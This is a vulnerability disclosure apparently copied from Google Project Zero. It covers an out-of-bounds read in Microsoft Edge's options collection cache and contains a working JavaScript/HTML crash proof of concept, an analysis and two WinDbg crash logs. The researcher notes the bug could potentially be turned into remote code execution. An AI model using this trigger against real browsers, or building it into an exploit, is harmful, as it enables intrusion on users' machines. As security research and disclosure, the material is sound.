<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1301
There is an out-of-bounds read issue in Microsoft Edge that could potentially be turned into remote code execution. The vulnerability has been confirmed on Microsoft Edge 38.14393.1066.0 (Microsoft EdgeHTML 14.14393) as well as Microsoft Edge 40.15063.0.0 (Microsoft EdgeHTML 15.15063).
PoC:
==========================================
-->
<!-- saved from url=(0014)about:internet -->
<script>
function go() {
select1.multiple = false;
var optgroup = document.createElement("optgroup");
select1.add(optgroup);
var options = select1.options;
select2 = document.createElement("select");
textarea.setSelectionRange(0,1000000);
select1.length = 2;
document.getElementsByTagName('option')[0].appendChild(textarea);
select1.multiple = true;
textarea.setSelectionRange(0,1000000);
document.execCommand("insertOrderedList", false);
select2.length = 100;
select2.add(optgroup);
//alert(options.length);
var test = options[4];
//alert(test);
}
</script>
<body onload=go()>
<textarea id="textarea"></textarea>
<select id="select1" contenteditable="true"></select>
<!--
=========================================
Preliminary analysis:
When opening the PoC in Edge under normal circumstances, the content process will occasionally crash somewhere inside Js::CustomExternalObject::GetItem (see Debug Log 1 below) which corresponds to 'var test = options[4];' line in the PoC. Note that multiple page refreshes are usually needed to get the crash.
The real cause of the crash can be seen if Page Heap is applied to the MicrosoftEdgeCP.exe process and MemGC is disabled with OverrideMemoryProtectionSetting=0 registry flag (otherwise Page Heap settings won't apply to the MemGC heap). In that case an out-of-bounds read can be reliably observed in COptionsCollectionCacheItem::GetAt function (see Debug Log 2 below). What happens is that Edge thinks 'options' array contains 102 elements (this can be verified by uncommenting 'alert(options.length);' line in the PoC), however in reality the Options cache buffer is going to be smaller and only contain 2 elements. Thus if an attacker requests an object that is past the end of the cache buffer (note: the offset is chosen by the attacker) an incorrect object may be returned which can potentially be turned into a remote code execution.
Note: Debug logs were obtained on an older version of Edge for which symbols were available. However I verified that the bug also affects the latest version.
Debug log 1:
=========================================
(1790.17bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chakra!Js::CrossSite::MarshalVar+0x37:
00007ffa`c8dc23f7 488b4808 mov rcx,qword ptr [rax+8] ds:00000001`afccb7dc=????????????????
0:010> k
# Child-SP RetAddr Call Site
00 00000071`3ecfb090 00007ffa`c8dc0c92 chakra!Js::CrossSite::MarshalVar+0x37
01 00000071`3ecfb0c0 00007ffa`c8d959c8 chakra!Js::CustomExternalObject::GetItem+0x1c2
02 00000071`3ecfb1a0 00007ffa`c8d92d84 chakra!Js::JavascriptOperators::GetItem+0x78
03 00000071`3ecfb200 00007ffa`c8dfc1e0 chakra!Js::JavascriptOperators::GetElementIHelper+0xb4
04 00000071`3ecfb290 00007ffa`c8d85ac1 chakra!Js::JavascriptOperators::OP_GetElementI+0x1c0
05 00000071`3ecfb2f0 00007ffa`c8d8933f chakra!Js::ProfilingHelpers::ProfiledLdElem+0x1b1
06 00000071`3ecfb380 00007ffa`c8d8e639 chakra!Js::InterpreterStackFrame::OP_ProfiledGetElementI<Js::OpLayoutT_ElementI<Js::LayoutSizePolicy<0> > >+0x5f
07 00000071`3ecfb3c0 00007ffa`c8d8c852 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x179
08 00000071`3ecfb450 00007ffa`c8d90920 chakra!Js::InterpreterStackFrame::Process+0x142
09 00000071`3ecfb4b0 00007ffa`c8d92065 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4a0
0a 00000071`3ecfb860 000001b7`d68e0fb2 chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
0b 00000071`3ecfb8b0 00007ffa`c8e77273 0x000001b7`d68e0fb2
0c 00000071`3ecfb8e0 00007ffa`c8d85763 chakra!amd64_CallFunction+0x93
0d 00000071`3ecfb930 00007ffa`c8d88260 chakra!Js::JavascriptFunction::CallFunction<1>+0x83
0e 00000071`3ecfb990 00007ffa`c8d8ccfd chakra!Js::InterpreterStackFrame::OP_CallI<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<0> > > >+0x110
0f 00000071`3ecfb9e0 00007ffa`c8d8c8b7 chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x32d
10 00000071`3ecfba70 00007ffa`c8d90920 chakra!Js::InterpreterStackFrame::Process+0x1a7
11 00000071`3ecfbad0 00007ffa`c8d92065 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4a0
12 00000071`3ecfbe20 000001b7`d68e0fba chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
13 00000071`3ecfbe70 00007ffa`c8e77273 0x000001b7`d68e0fba
14 00000071`3ecfbea0 00007ffa`c8d85763 chakra!amd64_CallFunction+0x93
15 00000071`3ecfbef0 00007ffa`c8dba4bc chakra!Js::JavascriptFunction::CallFunction<1>+0x83
16 00000071`3ecfbf50 00007ffa`c8db9a86 chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x104
17 00000071`3ecfc040 00007ffa`c8e5c359 chakra!Js::JavascriptFunction::CallRootFunction+0x4a
18 00000071`3ecfc0b0 00007ffa`c8dbff21 chakra!ScriptSite::CallRootFunction+0xb5
19 00000071`3ecfc150 00007ffa`c8dbbadc chakra!ScriptSite::Execute+0x131
1a 00000071`3ecfc1e0 00007ffa`c97d08dd chakra!ScriptEngineBase::Execute+0xcc
1b 00000071`3ecfc280 00007ffa`c97d0828 edgehtml!CJScript9Holder::ExecuteCallbackDirect+0x3d
1c 00000071`3ecfc2d0 00007ffa`c970a8c7 edgehtml!CJScript9Holder::ExecuteCallback+0x18
1d 00000071`3ecfc310 00007ffa`c970a6b7 edgehtml!CListenerDispatch::InvokeVar+0x1fb
1e 00000071`3ecfc490 00007ffa`c97cf22a edgehtml!CListenerDispatch::Invoke+0xdb
1f 00000071`3ecfc510 00007ffa`c98a40d2 edgehtml!CEventMgr::_InvokeListeners+0x2ca
20 00000071`3ecfc670 00007ffa`c9720ac5 edgehtml!CEventMgr::_InvokeListenersOnWindow+0x66
21 00000071`3ecfc6a0 00007ffa`c9720553 edgehtml!CEventMgr::Dispatch+0x405
22 00000071`3ecfc970 00007ffa`c97fd8da edgehtml!CEventMgr::DispatchEvent+0x73
23 00000071`3ecfc9c0 00007ffa`c983ba12 edgehtml!COmWindowProxy::Fire_onload+0x14e
24 00000071`3ecfcad0 00007ffa`c983a6a6 edgehtml!CMarkup::OnLoadStatusDone+0x376
25 00000071`3ecfcb90 00007ffa`c983a21f edgehtml!CMarkup::OnLoadStatus+0x112
26 00000071`3ecfcbc0 00007ffa`c97c5b43 edgehtml!CProgSink::DoUpdate+0x3af
27 00000071`3ecfd050 00007ffa`c97c7300 edgehtml!GlobalWndOnMethodCall+0x273
28 00000071`3ecfd150 00007ffa`e7571c24 edgehtml!GlobalWndProc+0x130
29 00000071`3ecfd210 00007ffa`e757156c user32!UserCallWinProcCheckWow+0x274
2a 00000071`3ecfd370 00007ffa`c0cccdf1 user32!DispatchMessageWorker+0x1ac
2b 00000071`3ecfd3f0 00007ffa`c0ccc3b1 EdgeContent!CBrowserTab::_TabWindowThreadProc+0x4a1
2c 00000071`3ecff640 00007ffa`dd649596 EdgeContent!LCIETab_ThreadProc+0x2c1
2d 00000071`3ecff760 00007ffa`e4f58364 iertutil!SettingStore::CSettingsBroker::SetValue+0x246
2e 00000071`3ecff790 00007ffa`e77d70d1 KERNEL32!BaseThreadInitThunk+0x14
2f 00000071`3ecff7c0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
0:010> r
rax=00000001afccb7d4 rbx=000001b7d669fd80 rcx=ffff000000000000
rdx=00000001afccb7d4 rsi=000001afce6556d0 rdi=000000713ecfb250
rip=00007ffac8dc23f7 rsp=000000713ecfb090 rbp=000000713ecfb141
r8=0000000000000000 r9=000001b7d8a94bd0 r10=0000000000000005
r11=000001b7d9ebcee0 r12=0000000000000003 r13=0001000000000004
r14=0000000000000004 r15=000001afce6556d0
iopl=0 nv up ei pl zr na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
chakra!Js::CrossSite::MarshalVar+0x37:
00007ffa`c8dc23f7 488b4808 mov rcx,qword ptr [rax+8] ds:00000001`afccb7dc=????????????????
=========================================
Debug log 2 (with Page Heap on for MicrosoftEdgeCP.exe and MemGC disabled):
=========================================
(de8.13c8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
edgehtml!COptionsCollectionCacheItem::GetAt+0x51:
00007ffa`c96b1581 488b04d0 mov rax,qword ptr [rax+rdx*8] ds:000001b6`52743000=????????????????
0:010> k
# Child-SP RetAddr Call Site
00 00000091`94ffb2c0 00007ffa`c9569bb2 edgehtml!COptionsCollectionCacheItem::GetAt+0x51
01 00000091`94ffb2f0 00007ffa`c8dc0c51 edgehtml!CElementCollectionTypeOperations::GetOwnItem+0x122
02 00000091`94ffb330 00007ffa`c8d959c8 chakra!Js::CustomExternalObject::GetItem+0x181
03 00000091`94ffb410 00007ffa`c8d92d84 chakra!Js::JavascriptOperators::GetItem+0x78
04 00000091`94ffb470 00007ffa`c8dfc1e0 chakra!Js::JavascriptOperators::GetElementIHelper+0xb4
05 00000091`94ffb500 00007ffa`c8d85ac1 chakra!Js::JavascriptOperators::OP_GetElementI+0x1c0
06 00000091`94ffb560 00007ffa`c8d8933f chakra!Js::ProfilingHelpers::ProfiledLdElem+0x1b1
07 00000091`94ffb5f0 00007ffa`c8d8e639 chakra!Js::InterpreterStackFrame::OP_ProfiledGetElementI<Js::OpLayoutT_ElementI<Js::LayoutSizePolicy<0> > >+0x5f
08 00000091`94ffb630 00007ffa`c8d8c852 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x179
09 00000091`94ffb6c0 00007ffa`c8d90920 chakra!Js::InterpreterStackFrame::Process+0x142
0a 00000091`94ffb720 00007ffa`c8d92065 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4a0
0b 00000091`94ffbad0 000001b6`4f600fb2 chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
0c 00000091`94ffbb20 00007ffa`c8e77273 0x000001b6`4f600fb2
0d 00000091`94ffbb50 00007ffa`c8d85763 chakra!amd64_CallFunction+0x93
0e 00000091`94ffbba0 00007ffa`c8d88260 chakra!Js::JavascriptFunction::CallFunction<1>+0x83
0f 00000091`94ffbc00 00007ffa`c8d8ccfd chakra!Js::InterpreterStackFrame::OP_CallI<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallI<Js::LayoutSizePolicy<0> > > >+0x110
10 00000091`94ffbc50 00007ffa`c8d8c8b7 chakra!Js::InterpreterStackFrame::ProcessUnprofiled+0x32d
11 00000091`94ffbce0 00007ffa`c8d90920 chakra!Js::InterpreterStackFrame::Process+0x1a7
12 00000091`94ffbd40 00007ffa`c8d92065 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x4a0
13 00000091`94ffc090 000001b6`4f600fba chakra!Js::InterpreterStackFrame::InterpreterThunk+0x55
14 00000091`94ffc0e0 00007ffa`c8e77273 0x000001b6`4f600fba
15 00000091`94ffc110 00007ffa`c8d85763 chakra!amd64_CallFunction+0x93
16 00000091`94ffc160 00007ffa`c8dba4bc chakra!Js::JavascriptFunction::CallFunction<1>+0x83
17 00000091`94ffc1c0 00007ffa`c8db9a86 chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x104
18 00000091`94ffc2b0 00007ffa`c8e5c359 chakra!Js::JavascriptFunction::CallRootFunction+0x4a
19 00000091`94ffc320 00007ffa`c8dbff21 chakra!ScriptSite::CallRootFunction+0xb5
1a 00000091`94ffc3c0 00007ffa`c8dbbadc chakra!ScriptSite::Execute+0x131
1b 00000091`94ffc450 00007ffa`c97d08dd chakra!ScriptEngineBase::Execute+0xcc
1c 00000091`94ffc4f0 00007ffa`c97d0828 edgehtml!CJScript9Holder::ExecuteCallbackDirect+0x3d
1d 00000091`94ffc540 00007ffa`c970a8c7 edgehtml!CJScript9Holder::ExecuteCallback+0x18
1e 00000091`94ffc580 00007ffa`c970a6b7 edgehtml!CListenerDispatch::InvokeVar+0x1fb
1f 00000091`94ffc700 00007ffa`c97cf22a edgehtml!CListenerDispatch::Invoke+0xdb
20 00000091`94ffc780 00007ffa`c98a40d2 edgehtml!CEventMgr::_InvokeListeners+0x2ca
21 00000091`94ffc8e0 00007ffa`c9720ac5 edgehtml!CEventMgr::_InvokeListenersOnWindow+0x66
22 00000091`94ffc910 00007ffa`c9720553 edgehtml!CEventMgr::Dispatch+0x405
23 00000091`94ffcbe0 00007ffa`c97fd8da edgehtml!CEventMgr::DispatchEvent+0x73
24 00000091`94ffcc30 00007ffa`c983ba12 edgehtml!COmWindowProxy::Fire_onload+0x14e
25 00000091`94ffcd40 00007ffa`c983a6a6 edgehtml!CMarkup::OnLoadStatusDone+0x376
26 00000091`94ffce00 00007ffa`c983a21f edgehtml!CMarkup::OnLoadStatus+0x112
27 00000091`94ffce30 00007ffa`c97c5b43 edgehtml!CProgSink::DoUpdate+0x3af
28 00000091`94ffd2c0 00007ffa`c97c7300 edgehtml!GlobalWndOnMethodCall+0x273
29 00000091`94ffd3c0 00007ffa`e7571c24 edgehtml!GlobalWndProc+0x130
2a 00000091`94ffd480 00007ffa`e757156c user32!UserCallWinProcCheckWow+0x274
2b 00000091`94ffd5e0 00007ffa`c0d2cdf1 user32!DispatchMessageWorker+0x1ac
2c 00000091`94ffd660 00007ffa`c0d2c3b1 EdgeContent!CBrowserTab::_TabWindowThreadProc+0x4a1
2d 00000091`94fff8b0 00007ffa`dd649596 EdgeContent!LCIETab_ThreadProc+0x2c1
2e 00000091`94fff9d0 00007ffa`e4f58364 iertutil!SettingStore::CSettingsBroker::SetValue+0x246
2f 00000091`94fffa00 00007ffa`e77d70d1 KERNEL32!BaseThreadInitThunk+0x14
30 00000091`94fffa30 00000000`00000000 ntdll!RtlUserThreadStart+0x21
0:010> r
rax=000001b652742fe0 rbx=0000000000000004 rcx=000001b64f877f30
rdx=0000000000000004 rsi=0000000000000000 rdi=000001b651ecffd0
rip=00007ffac96b1581 rsp=0000009194ffb2c0 rbp=000001b64f3bcc60
r8=0000000000000005 r9=000001b651ed9e50 r10=0000000000000005
r11=000001b65343ef20 r12=0000009194ffb370 r13=0001000000000004
r14=0000000000000000 r15=0000000000000004
iopl=0 nv up ei ng nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010286
edgehtml!COptionsCollectionCacheItem::GetAt+0x51:
00007ffa`c96b1581 488b04d0 mov rax,qword ptr [rax+rdx*8] ds:000001b6`52743000=????????????????
0:010> !heap -p -a 000001b6`52742ff0
address 000001b652742ff0 found in
_DPH_HEAP_ROOT @ 1ae3fae1000
in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize)
1b652a5fd68: 1b652742fe0 20 - 1b652742000 2000
00007ffae783fd99 ntdll!RtlDebugAllocateHeap+0x000000000003bf65
00007ffae782db7c ntdll!RtlpAllocateHeap+0x0000000000083fbc
00007ffae77a8097 ntdll!RtlpAllocateHeapInternal+0x0000000000000727
00007ffac9958547 edgehtml!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0x0000000000010457
00007ffac96d1483 edgehtml!CImplAry::EnsureSizeWorker+0x0000000000000093
00007ffac9882261 edgehtml!CImplPtrAry::Append+0x0000000000000051
00007ffac9589543 edgehtml!CSelectElement::AppendOption+0x000000000000002f
00007ffac95892e1 edgehtml!CSelectElement::BuildOptionsCache+0x00000000000000e1
00007ffac9e7f044 edgehtml!CSelectElement::Morph+0x00000000000000d0
00007ffac9a4e7cf edgehtml!`TextInput::TextInputLogging::Instance'::`2'::`dynamic atexit destructor for 'wrapper''+0x00000000001066df
00007ffac9605f85 edgehtml!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x0000000000000255
00007ffac9605d23 edgehtml!NUMPROPPARAMS::SetNumberProperty+0x000000000000003b
00007ffac9605bda edgehtml!CBase::put_BoolHelper+0x000000000000004a
00007ffac9c6f1d1 edgehtml!CFastDOM::CHTMLSelectElement::Trampoline_Set_multiple+0x000000000000013d
00007ffac9916b55 edgehtml!CFastDOM::CHTMLSelectElement::Profiler_Set_multiple+0x0000000000000025
00007ffac8ce6d07 chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x0000000000000177
00007ffac8dc2640 chakra!Js::LeaveScriptObject<1,1,0>::LeaveScriptObject<1,1,0>+0x0000000000000180
00007ffac8e62209 chakra!Js::JavascriptOperators::CallSetter+0x00000000000000a9
00007ffac8de7151 chakra!Js::CacheOperators::TrySetProperty<1,1,1,1,1,1,0,1>+0x00000000000002d1
00007ffac8de6ce6 chakra!Js::ProfilingHelpers::ProfiledStFld<0>+0x00000000000000d6
00007ffac8d89a70 chakra!Js::InterpreterStackFrame::OP_ProfiledSetProperty<Js::OpLayoutT_ElementCP<Js::LayoutSizePolicy<0> > const >+0x0000000000000070
00007ffac8d8e800 chakra!Js::InterpreterStackFrame::ProcessProfiled+0x0000000000000340
00007ffac8d8c852 chakra!Js::InterpreterStackFrame::Process+0x0000000000000142
00007ffac8d90920 chakra!Js::InterpreterStackFrame::InterpreterHelper+0x00000000000004a0
00007ffac8d92065 chakra!Js::InterpreterStackFrame::InterpreterThunk+0x0000000000000055
000001b64f600fb2 +0x000001b64f600fb2
=========================================
-->
